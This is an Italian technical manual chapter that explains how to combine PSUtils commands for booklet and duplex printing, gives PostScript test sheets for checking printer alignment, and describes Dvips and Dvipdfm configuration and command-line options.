I programmi del pacchetto PSUtils sono potentissimi, ma anche complicati da usare. Alcuni esempi per comprendere come combinarli assieme dovrebbe essere di aiuto.

Molti degli esempi mostrati sono realizzati con comandi piuttosto lunghi. Qui vengono mostrati spezzati su più righe.

Gli esempi successivi sono fatti per ottenere file PostScript adatti alla stampa su una sola facciata alla volta.

- `$ psbook -s4 originale.ps | psnup -2 > mio_file.ps` [*Invio*]

  Rielabora il file '`originale.ps`' generando una pagina ogni due di origine, facendo in modo che il risultato possa essere stampato in fronte-retro con una stampante normale, secondo la sequenza mostrata nella figura 29.22.

- `$ pstops "4:3L@0.7(21cm,0)+0L@0.7(21cm,14.85cm),`↩
  ↪`1L@0.7(21cm,0)+2L@0.7(21cm,14.85cm)"` ↩
  ↪`originale.ps mio_file.ps` [*Invio*]

  Come nell'esempio precedente, facendo uso di '**pstops**'.

- `$ psbook -s4 originale.ps | pstops` ↩
  ↪`"4:0L@0.7(21cm,0)+1L@0.7(21cm,14.85cm),`↩
  ↪`2L@0.7(21cm,0)+3L@0.7(21cm,14.85cm)"` ↩
  ↪`> mio_file.ps` [*Invio*]

  Esattamente come nell'esempio precedente, facendo uso di '**psbook**' e di '**pstops**'.

- `$ psbook -s4 originale.ps | psnup -2 | psselect -e > mio_file.ps` [*Invio*]

  Come nel primo esempio, selezionando solo le pagine pari del risultato finale.

- `$ psbook -s4 originale.ps | psnup -2 | psselect -o -r > mio_file.ps`
  [*Invio*]

Come nell'esempio precedente, selezionando solo le pagine dispari del risultato finale e invertendone l'ordine.

- `$ psbook originale.ps | psnup -2 > mio_file.ps` [*Invio*]

  Rielabora il file '`originale.ps`' generando una pagina ogni due di origine, facendo in modo che il risultato possa essere stampato in fronte-retro, ma a differenza del primo esempio, i fogli stampati vanno rilegati piegandoli tutti assieme, unendoli al centro.

- `$ psbook -s16 originale.ps | psnup -2 > mio_file.ps` [*Invio*]

  Rielabora il file '`originale.ps`' generando una pagina ogni due di origine, a segnature di quattro fogli A4 da piegare a metà, facendo in modo che il risultato possa essere stampato in fronte-retro con una stampante normale.

- ```
  $ psbook -s16 originale.ps | pstops ↩
  ↪"4:0L@0.7(21cm,0)+1L@0.7(21cm,14.85cm),↩
  ↪2L@0.7(21cm,0)+3L@0.7(21cm,14.85cm)" ↩
  ↪> mio_file.ps [Invio]
  ```

  Come nell'esempio precedente.

Gli esempi che seguono sono fatti per ottenere file PostScript adatti alle stampanti duplex, che però possono essere utilizzati anche con stampanti normali, ruotando opportunamente i fogli prima di reimmetterli nella stampante. Si veda la figura 29.24.

- ```
  $ pstops "4:3L@0.7(21cm,0)+0L@0.7(21cm,14.85cm),↩
  ↪1R@0.7(0,29.75cm)+2R@0.7(0,14.85cm)" ↩
  ↪originale.ps mio_file.ps [Invio]
  ```

  Rielabora il file '`originale.ps`' generando una pagina ogni due di origine, facendo in modo che il risultato possa essere stampato in fronte-retro con una stampante duplex, oppure una normale secondo la sequenza mostrata nella figura 29.24.

- ```
  $ psbook -s4 originale.ps | pstops ↩
  ↪"4:0L@0.7(21cm,0)+1L@0.7(21cm,14.85cm),↩
  ↪2R@0.7(0,29.75cm)+3R@0.7(0,14.85cm)" ↩
  ↪> mio_file.ps [Invio]
  ```

  Esattamente come nell'esempio precedente.

- ```
  $ psbook -s16 originale.ps | pstops ↩
  ↪"4:0L@0.7(21cm,0)+1L@0.7(21cm,14.85cm),↩
  ↪2R@0.7(0,29.75cm)+3R@0.7(0,14.85cm)" ↩
  ↪> mio_file.ps [Invio]
  ```

  Come nell'esempio precedente, ma ottenendo segnature di quattro fogli A4 da piegare a metà.

- ```
  $ pstops "8:4U@0.45(10cm,29.2cm)+3U@0.45(20.5cm,29.2cm)+↩
  ↪7@0.45(0.5cm,0.5cm)+0@0.45(11cm,0.5cm), ↩
  ↪2U@0.45(10cm,29.2cm)+5U@0.45(20.5cm,29.2cm)+↩
  ↪1@0.45(0.5cm,0.5cm)+6@0.45(11cm,0.5cm)" ↩
  ↪> mio_file.ps [Invio]
  ```

  Stampa in modo da ottenere otto pagine ridotte su un foglio A4 (fronte e retro), piegandolo due volte. La riduzione delle pagine è maggiore del necessario (le pagine ridotte sono più piccole) per garantire la presenza di margini sufficienti alla rilegatura.
  ```

- $ **pstops "16:8U@0.45(10cm,29.2cm)+7U@0.45(20.5cm,29.2cm)+15@0.45(0.5cm,0.5cm)+0@0.45(11cm,0.5cm), 6U@0.45(10cm,29.2cm)+9U@0.45(20.5cm,29.2cm)+1@0.45(0.5cm,0.5cm)+14@0.45(11cm,0.5cm), 10U@0.45(10cm,29.2cm)+5U@0.45(20.5cm,29.2cm)+13@0.45(0.5cm,0.5cm)+2@0.45(11cm,0.5cm), 4U@0.45(10cm,29.2cm)+11U@0.45(20.5cm,29.2cm)+3@0.45(0.5cm,0.5cm)+12@0.45(11cm,0.5cm)" > mio_file.ps** [*Invio*]

  Come nell'esempio precedente, piegando assieme due fogli A4.

29.2.3 Problemi di allineamento della stampa

Quando si gestisce un sistema di stampa basato sui filtri, partendo da un formato uniforme PostScript, che poi viene convertito nel modo più adatto alla propria stampante, manca la possibilità di intervenire nella regolazione fine di questa, al contrario di ciò che si può fare di solito con alcuni sistemi operativi proprietari. Il problema più grosso sta nella correzione degli errori di allineamento che potrebbero essere introdotti dalla stampante, spesso a causa dall'incapacità di stampare al di fuori di un certo margine minimo. Il testo seguente è un file PostScript, in formato A4, che serve a stampare quattro linee (una verticale, una orizzontale e due oblique), assieme alle informazioni sulla distanza dai bordi, che permettono di vedere dove si trova il centro della pagina.

```
%!PS-Adobe-2.0
%%DocumentPaperSizes: a4
%%EndComments
%%EndProlog

%%Page: 1 1

% Verifica dell'allineamento della stampante per la carta A4.

% Definizione dell'unità «cm».
/cm { 28.34645 mul } bind def

% Definizione dell'utilizzo dell'unità «cm».
1 cm dup scale

% Spessore delle linee (1/50 di cm, pari a 0,2 mm).
1 50 div setlinewidth

% Traccia una linea obliqua ascendente.
0       0    moveto      21    29.7  lineto stroke

% Traccia una linea obliqua discendente.
0     29.7  moveto      21     0    lineto stroke

% Traccia una linea verticale al centro.
10.5  29.7  moveto      10.5   0    lineto stroke
```

```
% Traccia una linea orizzontale al centro.
0     14.85 moveto      21    14.85 lineto stroke

% Misurazione del bordo superiore.
10.25  29.60  moveto  10.75  29.60  lineto stroke
10.25  29.50  moveto  10.75  29.50  lineto stroke
10.25  29.40  moveto  10.75  29.40  lineto stroke
10.25  29.30  moveto  10.75  29.30  lineto stroke
10.00  29.20  moveto  11.00  29.20  lineto stroke
10.25  29.10  moveto  10.75  29.10  lineto stroke
10.25  29.00  moveto  10.75  29.00  lineto stroke
10.25  28.90  moveto  10.75  28.90  lineto stroke
10.25  28.80  moveto  10.75  28.80  lineto stroke
10.00  28.70  moveto  11.00  28.70  lineto stroke
10.25  28.60  moveto  10.75  28.60  lineto stroke
10.25  28.50  moveto  10.75  28.50  lineto stroke
10.25  28.40  moveto  10.75  28.40  lineto stroke
10.25  28.30  moveto  10.75  28.30  lineto stroke
10.00  28.20  moveto  11.00  28.20  lineto stroke

/Helvetica findfont 00.30 scalefont setfont
11.20  29.10  moveto (0,5 cm) show
11.20  28.60  moveto (1,0 cm) show
11.20  28.10  moveto (1,5 cm) show

% Misurazione del bordo inferiore.
10.25  00.10  moveto  10.75  00.10  lineto stroke
10.25  00.20  moveto  10.75  00.20  lineto stroke
10.25  00.30  moveto  10.75  00.30  lineto stroke
10.25  00.40  moveto  10.75  00.40  lineto stroke
10.00  00.50  moveto  11.00  00.50  lineto stroke
10.25  00.60  moveto  10.75  00.60  lineto stroke
10.25  00.70  moveto  10.75  00.70  lineto stroke
10.25  00.80  moveto  10.75  00.80  lineto stroke
10.25  00.90  moveto  10.75  00.90  lineto stroke
10.00  01.00  moveto  11.00  01.00  lineto stroke
10.25  01.10  moveto  10.75  01.10  lineto stroke
10.25  01.20  moveto  10.75  01.20  lineto stroke
10.25  01.30  moveto  10.75  01.30  lineto stroke
10.25  01.40  moveto  10.75  01.40  lineto stroke
10.00  01.50  moveto  11.00  01.50  lineto stroke

/Helvetica findfont 00.30 scalefont setfont
11.20  00.30  moveto (0,5 cm) show
11.20  00.80  moveto (1,0 cm) show
11.20  01.30  moveto (1,5 cm) show
```

```
% Misurazione del bordo sinistro.
00.10  14.60  moveto  00.10  15.10  lineto stroke
00.20  14.60  moveto  00.20  15.10  lineto stroke
00.30  14.60  moveto  00.30  15.10  lineto stroke
00.40  14.60  moveto  00.40  15.10  lineto stroke
00.50  14.35  moveto  00.50  15.35  lineto stroke
00.60  14.60  moveto  00.60  15.10  lineto stroke
00.70  14.60  moveto  00.70  15.10  lineto stroke
00.80  14.60  moveto  00.80  15.10  lineto stroke
00.90  14.60  moveto  00.90  15.10  lineto stroke
01.00  14.35  moveto  01.00  15.35  lineto stroke
01.10  14.60  moveto  01.10  15.10  lineto stroke
01.20  14.60  moveto  01.20  15.10  lineto stroke
01.30  14.60  moveto  01.30  15.10  lineto stroke
01.40  14.60  moveto  01.40  15.10  lineto stroke
01.50  14.35  moveto  01.50  15.35  lineto stroke

/Helvetica findfont 00.30 scalefont setfont
01.30  15.50  moveto (1,5 cm) show

% Misurazione del bordo destro.
20.90  14.60  moveto  20.90  15.10  lineto stroke
20.80  14.60  moveto  20.80  15.10  lineto stroke
20.70  14.60  moveto  20.70  15.10  lineto stroke
20.60  14.60  moveto  20.60  15.10  lineto stroke
20.50  14.35  moveto  20.50  15.35  lineto stroke
20.40  14.60  moveto  20.40  15.10  lineto stroke
20.30  14.60  moveto  20.30  15.10  lineto stroke
20.20  14.60  moveto  20.20  15.10  lineto stroke
20.10  14.60  moveto  20.10  15.10  lineto stroke
20.00  14.35  moveto  20.00  15.35  lineto stroke
19.90  14.60  moveto  19.90  15.10  lineto stroke
19.80  14.60  moveto  19.80  15.10  lineto stroke
19.70  14.60  moveto  19.70  15.10  lineto stroke
19.60  14.60  moveto  19.60  15.10  lineto stroke
19.50  14.35  moveto  19.50  15.35  lineto stroke

/Helvetica findfont 00.30 scalefont setfont
19.30  15.50  moveto (1,5 cm) show

showpage
%%Trailer
%%EOF
```

Teoricamente, ciò che si dovrebbe ottenere è quanto appare nella figura 29.35; in pratica, inviando questo file al sistema di stampa, che si presume sia predisposto con un filtro basato

su Ghostscript, si potrebbe osservare un risultato simile a quello mostrato nella figura 29.35, in cui si ipotizza uno sfasamento verso destra di 1 cm e in basso di 0,8 cm.

Figura 29.35. Risultato ipotetico della stampa per la verifica dell'allineamento: la stampa risulta più bassa di 0,8 cm e più a destra di 1 cm.

1 cm

0,5 cm
1,0 cm
1,5 cm

1,5 cm

1,5

0,8 cm

1,5 cm
1,0 cm

Per misurare lo scostamento della stampa rispetto alla carta, sono disponibili dei riferimenti su ogni bordo; in alternativa si piega il foglio in quattro e si vede dove sta il centro. Nel caso dell'esempio, il centro è più a destra e più in basso, delle misure che sono state indicate. Per risolvere il problema, si può inserire un'elaborazione ulteriore nei filtri di stampa, attraverso l'aiuto di '**`pstops`**'.

Il file per la verifica dell'allineamento, così come è stato proposto, può essere riallineato dai programmi di PSUtils, verificando così il risultato degli spostamenti che vengono introdotti. Se questo non è desiderabile, per evitare che l'immagine sia riallineabile, occorre eliminare i commenti iniziali:

```
%%DocumentPaperSizes: a4
%%EndComments
%%EndProlog

%%Page: 1 1
```

In tal caso può essere eliminato anche il commento finale:

```
%%Trailer
```

Seguendo i valori dell'esempio, si può utilizzare '**`pstops`**' nel modo seguente, tenendo conto che il file deve essere fornito attraverso lo standard input, mentre il risultato si ottiene dallo standard output:

```
/usr/bin/pstops -q "1:0@1.0(-0.5cm,1cm)"
```

Per '**`pstops`**': uno spostamento a destra è positivo; uno spostamento a sinistra è negativo; uno spostamento in basso è negativo; uno spostamento in alto è positivo. Questo serve a chiarire gli argomenti indicati nell'esempio

Per fare un esempio più realistico, nel caso si utilizzi Magicfilter, considerato che di solito le direttive per i file PostScript sono simili a quella che si vede qui,

```
0       %!              filter  \
    /usr/bin/gs  -q -dSAFER -dNOPAUSE -r300 -sDEVICE=ljet4 -sOutputFile=- -
```

è sufficiente aggiungere '**`pstops`**' alla catena:

```
0       %!              filter                          \
    /usr/bin/pstops -q "1:0@1.0(-0.5cm,1cm)"            \
    | /usr/bin/gs  -q -dSAFER -dNOPAUSE -r300 -sDEVICE=ljet4 -sOutputFile=- -
```

In alternativa al file PostScript che genera il risultato che si vede nella figura ??f stampa allineamento test ps??, potrebbe essere utile un modello quadrettato, che si può ottenere con il codice seguente.

```
%!PS-Adobe-2.0
%%DocumentPaperSizes: a4
%%EndComments
%%EndProlog
%%Page: 1 1
%
% Definizione dell'unità «mm».
%
/mm { 2.83464566929 mul } bind def
%
```

```
% Definizione dell'utilizzo dell'unità «cm».
%
1 mm dup scale
%
% Spessore delle linee (1/10 di mm, pari a 0,1 mm).
%
1 10 div setlinewidth
%
% Traccia le linee orizzontali.
%
000   000   moveto   210   000   lineto stroke
000   005   moveto   210   005   lineto stroke
000   010   moveto   210   010   lineto stroke
000   015   moveto   210   015   lineto stroke
000   020   moveto   210   020   lineto stroke
000   025   moveto   210   025   lineto stroke
000   030   moveto   210   030   lineto stroke
000   035   moveto   210   035   lineto stroke
000   040   moveto   210   040   lineto stroke
000   045   moveto   210   045   lineto stroke
000   050   moveto   210   050   lineto stroke
000   055   moveto   210   055   lineto stroke
000   060   moveto   210   060   lineto stroke
000   065   moveto   210   065   lineto stroke
000   070   moveto   210   070   lineto stroke
000   075   moveto   210   075   lineto stroke
000   080   moveto   210   080   lineto stroke
000   085   moveto   210   085   lineto stroke
000   090   moveto   210   090   lineto stroke
000   095   moveto   210   095   lineto stroke
000   100   moveto   210   100   lineto stroke
000   105   moveto   210   105   lineto stroke
000   110   moveto   210   110   lineto stroke
000   115   moveto   210   115   lineto stroke
000   120   moveto   210   120   lineto stroke
000   125   moveto   210   125   lineto stroke
000   130   moveto   210   130   lineto stroke
000   135   moveto   210   135   lineto stroke
000   140   moveto   210   140   lineto stroke
000   145   moveto   210   145   lineto stroke
000   150   moveto   210   150   lineto stroke
000   155   moveto   210   155   lineto stroke
000   160   moveto   210   160   lineto stroke
000   165   moveto   210   165   lineto stroke
000   170   moveto   210   170   lineto stroke
000   175   moveto   210   175   lineto stroke
000   180   moveto   210   180   lineto stroke
```

```
000   185   moveto   210   185  lineto stroke
000   190   moveto   210   190  lineto stroke
000   195   moveto   210   195  lineto stroke
000   200   moveto   210   200  lineto stroke
000   205   moveto   210   205  lineto stroke
000   210   moveto   210   210  lineto stroke
000   215   moveto   210   215  lineto stroke
000   220   moveto   210   220  lineto stroke
000   225   moveto   210   225  lineto stroke
000   230   moveto   210   230  lineto stroke
000   235   moveto   210   235  lineto stroke
000   240   moveto   210   240  lineto stroke
000   245   moveto   210   245  lineto stroke
000   250   moveto   210   250  lineto stroke
000   255   moveto   210   255  lineto stroke
000   260   moveto   210   260  lineto stroke
000   265   moveto   210   265  lineto stroke
000   270   moveto   210   270  lineto stroke
000   275   moveto   210   275  lineto stroke
000   280   moveto   210   280  lineto stroke
000   285   moveto   210   285  lineto stroke
000   290   moveto   210   290  lineto stroke
000   295   moveto   210   295  lineto stroke
%
% Traccia le linee verticali.
%
000   000   moveto   000   297  lineto stroke
005   000   moveto   005   297  lineto stroke
010   000   moveto   010   297  lineto stroke
015   000   moveto   015   297  lineto stroke
020   000   moveto   020   297  lineto stroke
025   000   moveto   025   297  lineto stroke
020   000   moveto   020   297  lineto stroke
025   000   moveto   025   297  lineto stroke
030   000   moveto   030   297  lineto stroke
035   000   moveto   035   297  lineto stroke
040   000   moveto   040   297  lineto stroke
045   000   moveto   045   297  lineto stroke
050   000   moveto   050   297  lineto stroke
055   000   moveto   055   297  lineto stroke
060   000   moveto   060   297  lineto stroke
065   000   moveto   065   297  lineto stroke
070   000   moveto   070   297  lineto stroke
075   000   moveto   075   297  lineto stroke
080   000   moveto   080   297  lineto stroke
085   000   moveto   085   297  lineto stroke
090   000   moveto   090   297  lineto stroke
```

```
095   000   moveto   095   297   lineto stroke
100   000   moveto   100   297   lineto stroke
105   000   moveto   105   297   lineto stroke
110   000   moveto   110   297   lineto stroke
115   000   moveto   115   297   lineto stroke
120   000   moveto   120   297   lineto stroke
125   000   moveto   125   297   lineto stroke
120   000   moveto   120   297   lineto stroke
125   000   moveto   125   297   lineto stroke
130   000   moveto   130   297   lineto stroke
135   000   moveto   135   297   lineto stroke
140   000   moveto   140   297   lineto stroke
145   000   moveto   145   297   lineto stroke
150   000   moveto   150   297   lineto stroke
155   000   moveto   155   297   lineto stroke
160   000   moveto   160   297   lineto stroke
165   000   moveto   165   297   lineto stroke
170   000   moveto   170   297   lineto stroke
175   000   moveto   175   297   lineto stroke
180   000   moveto   180   297   lineto stroke
185   000   moveto   185   297   lineto stroke
190   000   moveto   190   297   lineto stroke
195   000   moveto   195   297   lineto stroke
200   000   moveto   200   297   lineto stroke
205   000   moveto   205   297   lineto stroke
210   000   moveto   210   297   lineto stroke

showpage
%%Trailer
%%EOF
```

I quadretti che si vogliono ottenere sono esattamente di 5 mm di lato e il risultato che si può avere con una stampante perfetta è praticamente quello che si vede in piccolo nella figura successiva.

Figura 29.42. Foglio quadrettato su carta A4.

29.3 DVI

A fianco del formato PostScript per i documenti finali, pronti per la stampa, ne esiste un altro: DVI, il cui nome sta per *Device indipendent*. Il file DVI, come nel caso di quello PostScript, contiene tutte le informazioni necessarie a descrivere il risultato finale stampato, anche se non esistono stampanti DVI. Si tratta quindi di un formato intermedio che, per essere stampato, richiede un'elaborazione successiva. I file DVI derivano principalmente da elaborazioni con il sistema di composizione TeX, con il quale sono distribuiti generalmente anche gli strumenti adatti a gestire tale formato.

Di solito, l'uso degli strumenti riferiti al formato DVI si limita a Dvips che converte file DVI in PostScript. Tuttavia sono disponibili anche altri strumenti che permettono di arrivare a un risultato stampato senza passare per il PostScript; si tratta in particolare di Dvilj per la generazione di un formato HP PCL (*HP printer control language*), adatto alle stampanti compatibili HP Laserjet.[9]

In pratica, la gestione dei file DVI è basata, di fatto, sulla conversione in PostScript attraverso Dvips e sulla rielaborazione successiva dei file PostScript attraverso altri strumenti.

29.3.1 Dvips

Dvips[10] è un programma fondamentale per chi utilizza il sistema di composizione TeX (capitolo 61), proprio per la sua abilità nel convertire file DVI in PostScript. Anche se il suo funzionamento è apparentemente molto semplice, si tratta di un programma complesso, pieno di dettagli che in circostanze particolari possono diventare molto utili. Qui si cerca di puntare l'attenzione sulle funzionalità usate più di frequente.

Dvips utilizza la libreria Kpathsea, attraverso la quale è in grado di rigenerare rapidamente i caratteri necessari che non dovessero essere già stati preparati in precedenza (naturalmente devono essere presenti le informazioni per generare tali caratteri).

Considerato che il formato PostScript è diventato lo standard di fatto per le code di stampa, Dvips tende anche a essere visto come un comando di stampa speciale per il formato DVI. Infatti, come viene mostrato meglio dalla descrizione della sua configurazione, se si utilizza nel modo più naturale, come nell'esempio seguente, si ottiene la trasformazione del file DVI indicato nella riga di comando in formato PostScript e l'invio di questa trasformazione direttamente alla coda di stampa predefinita:

$ **dvips pippo.dvi** [*Invio*]

La documentazione di Dvips è molto buona, ma usa delle convenzioni particolari, per cui il lettore casuale potrebbe fraintendere o restare confuso. In particolare, nella descrizione delle opzioni della riga di comando e delle direttive di configurazione, si usa l'asterisco per indicare la possibilità di aggiungere un argomento booleano, che però in generale non serve e di conseguenza non si usa.

29.3.1.1 Configurazione di Dvips

I file di configurazione di Dvips si trovano generalmente nella directory '`texmf/dvips/config/`', cosa che potrebbe tradursi in pratica in '`/usr/share/texmf/dvips/config/`' o altra collocazione simile. In pratica, se la gerarchia del file system è quella standard, questo potrebbe essere un collegamento simbolico alla directory reale '`/etc/texmf/dvips/`'.

Il file di configurazione generale è denominato '`config.ps`', mentre è possibile affiancare a questo altri file simili che vengono presi in considerazione sono per l'invio a code di stampa particolari, attraverso l'opzione '**`-P`**'. Questi file aggiuntivi si distinguono in base all'estensione: '`config.`***coda_di_stampa***'. Il senso di questi file di configurazione aggiuntivi si dovrebbe chiarire con la descrizione della direttiva '**`o`**' del file di configurazione.

> Se si osserva la directory di configurazione di Dvips si possono notare altri file, dei quali si può anche intuire lo scopo. Tuttavia, in condizioni normali non è il caso di intervenire sulla loro configurazione.

Naturalmente, oltre ai file di configurazione che riguardano il sistema, ogni utente può aggiungere un proprio file personale: '`~/.dvipsrc`'.

I file di configurazione di Dvips sono file di testo normali, in cui, tutto ciò che inizia con il simbolo di percentuale ('**`%`**') viene ignorato, assieme alle righe bianche e a quelle vuote. Tutte le altre righe sono da considerarsi direttive di configurazione.

Le direttive hanno un aspetto molto simile alle opzioni della riga di comando dell'eseguibile '**`dvips`**', alle quali viene tolto il trattino iniziale. Tuttavia non bisogna generalizzare, perché non tutto è perfettamente identico.

Tabella 29.43. Alcune direttive.

Direttiva	Descrizione

`o` ***file***
 	
`o |`***comando***
	Questa direttiva (una lettera «o» minuscola) consente di definire il file predefinito o il condotto predefinito a cui inviare il risultato della conversione. Generalmente il file di configurazione complessivo contiene la direttiva seguente:
	`o |lpr`
	In questo senso, un file di configurazione specifico per la coda di stampa '**`pippo`**' potrebbe contenere invece la direttiva seguente:
	`o |lpr -Ppippo`
	Si osservi che questo modo di definire il flusso di uscita dell'elaborazione di Dvips è una consuetudine, non una necessità. Tuttavia è bene mantenere tali queste particolarità, perché sono quelle che tutti si aspettano.

Direttiva	Descrizione
`O` ***scostamento_orizzontale*, ↩ ↪*scostamento_verticale***	Questa direttiva (lettera «O» maiuscola), consente di riallineare le pagine attraverso la definizione di uno scostamento orizzontale e verticale. Si tratta di indicare due numeri seguiti dall'unità di misura. Dei valori positivi indicano rispettivamente uno spostamento a destra e in basso, mentre dei valori negativi indicano uno spostamento opposto. Nel file di configurazione generale è bene annotare una direttiva neutra, del tipo '**`O 0cm,0cm`**', mentre nei file di configurazione specifici per una particolare coda di stampa, si potrebbero specificare dei valori adeguati (a meno che la coda di stampa non sia già organizzata per correggere i difetti di allineamento eventuali della stampante, come descritto nella sezione 29.2.3).
`K`	Questa direttiva rappresenta l'attivazione di un'opzione, attraverso la quale si ottiene l'eliminazione dei commenti dal risultato PostScript, cosa che si può rendere necessaria quando i programmi di rielaborazione di tale formato hanno delle difficoltà che alle volte sembrano inspiegabili.
`q|Q`	Questa direttiva rappresenta l'attivazione di un'opzione, attraverso la quale si ottiene l'eliminazione dell'emissione delle informazioni che non rappresentano errori di qualche tipo.
`r`	Questa direttiva rappresenta l'attivazione di un'opzione, attraverso la quale si ottiene l'inversione dell'ordine delle pagine.
`D` ***n*** `X` ***n*** `Y` ***n***	Il numero posto alla destra rappresenta la risoluzione. Nel caso della direttiva '**`D`**' si tratta simultaneamente di quella orizzontale e di quella verticale, mentre nel caso di '**`X`**' si tratta solo di quella orizzontale e nel caso di '**`Y`**' si tratta solo di quella verticale. Il valore è espresso in millesimi (***n*** **/** 1000). Si deve indicare un valore che va da un minimo di 10 a un massimo di 10000. Non deve essere necessariamente un numero intero.
`t` ***formato***	Questa direttiva permette di definire il formato finale del documento PostScript. Se non viene specificato, si intende il formato predefinito che generalmente corrisponde a '**`letter`**'. Generalmente possono essere utilizzati i nomi di formato seguenti: '**`letter`**', '**`legal`**', '**`ledger`**', '**`a4`**', '**`a3`**'.

`m` ***memoria_disponibile***	La stampante PostScript, oppure il programma di conversione che elabora questo formato, potrebbe avere una limitazione nella memoria. Questo potrebbe impedire alla stampante o al programma di gestire correttamente un file troppo complesso. Questa direttiva consente di specificare l'ammontare massimo della memoria, in modo da prendere provvedimenti adeguati al riguardo. Per conosce il valore di questa memoria, basta realizzare un file PostScript fittizio contenente il codice seguente:
	`%!`
	
	`/Times-Roman findfont 30 scalefont setfont ↩`
	`↪144 432 moveto`
	
	`vmstatus exch sub 40 string cvs ↩`
	`↪show pop showpage`
	È probabile che il valore che appare sia abbastanza inferiore a quanto indicato in modo predefinito nel file di configurazione standard. In questo senso, dovrebbe essere opportuno aggiornare tale indicazione.

Viene mostrato brevemente un file di configurazione tipico.

```
% Ammontare della memoria disponibile.
m 1048576

% Il risultato della conversione in PostScript viene inviato alla stampa.
o |lpr

% Risoluzioni predefinite per la stampante.
D 600
X 600
Y 600

% Correzione dell'allineamento della stampa.
O 0pt,0pt
```

Naturalmente, il file di configurazione predefinito potrebbe contenere anche molte altre direttive, che in generale non conviene modificare se non si comprende il loro significato.

29.3.1.2 Riga di comando di Dvips

Il programma '**`dvips`**' elabora il file DVI fornito come argomento e ne genera un altro in PostScript. Se non viene indicato qualcosa di diverso attraverso le opzioni, il risultato viene inviato come previsto nel file di configurazione e solitamente si tratta della coda di stampa predefinita. Il nome del file DVI può essere indicato completo o sprovvisto dell'estensione: '`.dvi`'.

```
dvips [opzioni] [file_dvi]
```

Tabella 29.45. Alcune opzioni.

Opzione	Descrizione
`-D` ***n*** `-X` ***n*** `-Y` ***n***	Queste opzioni permettono di indicare esplicitamente la risoluzione, sostituendosi alle direttive equivalenti del file di configurazione: '**`D`**', '**`X`**' e '**`Y`**'. Questa indicazione ha rilevanza nella scelta dei tipi di carattere da usare per la composizione del file PostScript e per la loro spaziatura. Il numero può avere un valore minimo di 10 e massimo di 10000, riferendosi all'unità di misura dpi (*Dot per inch*). Generalmente questa opzione non viene indicata e si utilizza la configurazione che frequentemente richiede 600 dpi.
`-q`	Utilizzando questa opzione, si fa in modo che l'elaborazione non generi segnalazioni, tranne gli errori, come già fa la direttiva '**`q`**' nel file di configurazione.
`-o` ***file_ps***	Permette di specificare un file di destinazione del risultato della trasformazione, oppure un comando che deve ricevere il risultato attraverso lo standard input. Dal momento che la configurazione normale convoglia il risultato nella coda di stampa, diventa necessario l'uso di questa opzione per generare un file separato. Un comando viene riconosciuto come tale se inizia con il simbolo '**`|`**', ma si può anche realizzare un condotto vero e proprio indicando il trattino ('**`-`**') al posto del nome del file.

Opzione	Descrizione
`-t` *formato*	Questa opzione permette di definire il formato finale del documento PostScript. Se non viene specificato, si intende automaticamente il formato predefinito o quello fissato nella configurazione. Spesso il formato predefinito è '**`letter`**', per cui, negli script è importante ricordarsi di utilizzare questa opzione per non avere poi brutte sorprese. Si utilizzano gli stessi nomi di formato relativi alla direttiva '**`t`**' del file di configurazione. Questa stessa opzione può essere usata per specificare un formato orizzontale, '**`landscape`**', eventualmente anche utilizzandola due volte (la prima per indicare il formato della carta, la seconda per aggiungere che deve essere intesa come orizzontale).
`-K`	Questa opzione, come la stessa direttiva '**`K`**', serve a ottenere l'eliminazione dei commenti dal risultato PostScript, cosa che si può rendere necessaria quando i programmi di rielaborazione di tale formato hanno delle difficoltà che alle volte sembrano inspiegabili.
`-V` `-V0`	Attiva o disattiva l'inserimento delle informazioni sui caratteri tipografici che potrebbero non essere disponibili nel momento in cui si va a visualizzare il documento. In pratica, l'utilizzo di questa opzione ('**`-V`**'), dovrebbe facilitare la riproducibilità del contenuto del file.

Segue la descrizione di alcuni esempi.

- `$` **`dvips -t a4 -o mio_file.ps mio_file.dvi`** [*Invio*]

  Elabora il file '`mio_file.dvi`' generando il file '`mio_file.ps`', in formato A4.

- `$` **`dvips -t a4 mio_file.dvi`** [*Invio*]

  Elabora il file '`mio_file.dvi`', trasformandolo in PostScript, lasciando che questo sia diretto come stabilito dalla configurazione (presumibilmente si tratta della coda di stampa predefinita).

- `$` **`dvips -t a4 -o mio_file.ps mio_file.dvi`** [*Invio*]

  Genera il file '`mio_file.ps`', in formato A4, togliendo alcuni commenti che possono creare problemi ai programmi di visualizzazione o di rielaborazione.

29.3.2 Dvipdfm

Dvipdfm[11] è un programma funzionalmente analogo a Dvips, con la differenza che genera file PDF a partire dal formato DVI. In condizioni normali, è sufficiente un utilizzo elementare, simile all'esempio seguente:

`$` **`dvipdfm prova.dvi`** [*Invio*]

In questo caso, si ottiene il file '`prova.pdf`', senza nemmeno la necessità di specificarlo. In pratica, a differenza di Dvips, il risultato viene salvato in un file, in modo predefinito.

Come si comprende dall'esempio, Dvipdfm è costituito in pratica dall'eseguibile '**`dvipdfm`**', che si usa sinteticamente secondo la sintassi seguente:

`dvipdfm` [*opzioni*] *file_dvi*

In pratica, il nome del file PDF viene determinato in modo predefinito, aggiungendo l'estensione '.pdf', o sostituendola all'estensione '.dvi' del file di partenza. In alternativa, si può specificare un nome differente con l'uso di un'opzione apposita. La tabella 29.46 riepiloga le opzioni di uso più comune.

Tabella 29.46. Alcune opzioni di '**dvipdfm**'.

Opzione	Descrizione
`-c`	Non prende in considerazione i colori nella conversione.
`-m` ***n***	Definisce un rapporto di ingrandimento del documento, pari a ***n***.
`-o` ***file_pdf***	Definisce il nome del file PDF che si vuole ottenere.
`-p` {`letter`|`legal`|`ledger`|`tabloid`|`a4`|`a3`}	Definisce il formato finale del file PDF che si vuole ottenere.
`-l`	Nel caso sia stata specificata l'opzione '**-p**', consente di indicare un orientamento orizzontale.
`-s` ***pag_iniziale-pag_finale*** [,***pag_iniziale-pag_finale***]...	Consente di selezionare uno o più intervalli di pagine.
`-x` ***scostamento_orizzontale*** `-y` ***scostamento_verticale***	Consentono di definire lo scostamento orizzontale e verticale. Il valore predefinito corrisponde a '**1.0in**', ovvero un pollice.
`-z` ***n***	Consentono di definire il livello di compressione, con un numero da uno a nove. Il valore predefinito è nove, corrispondente alla compressione massima.
`-v`	Mostra più informazioni durante la conversione.
`-vv`	Mostra molte informazioni in più durante la conversione.

29.3.3 Anteprima di stampa

Anche per il formato DVI esistono strumenti per la visualizzazione in anteprima; ma in generale, tali programmi hanno tutti qualche pecca, per un verso o per l'altro, a cominciare dalle immagini PostScript incluse che non vengono visualizzate nell'anteprima. Nelle figure successive si mostrano solo due esempi di tali programmi.

```
xdvi [opzioni] [file_dvi]
```

```
tkdvi [opzioni] file
```

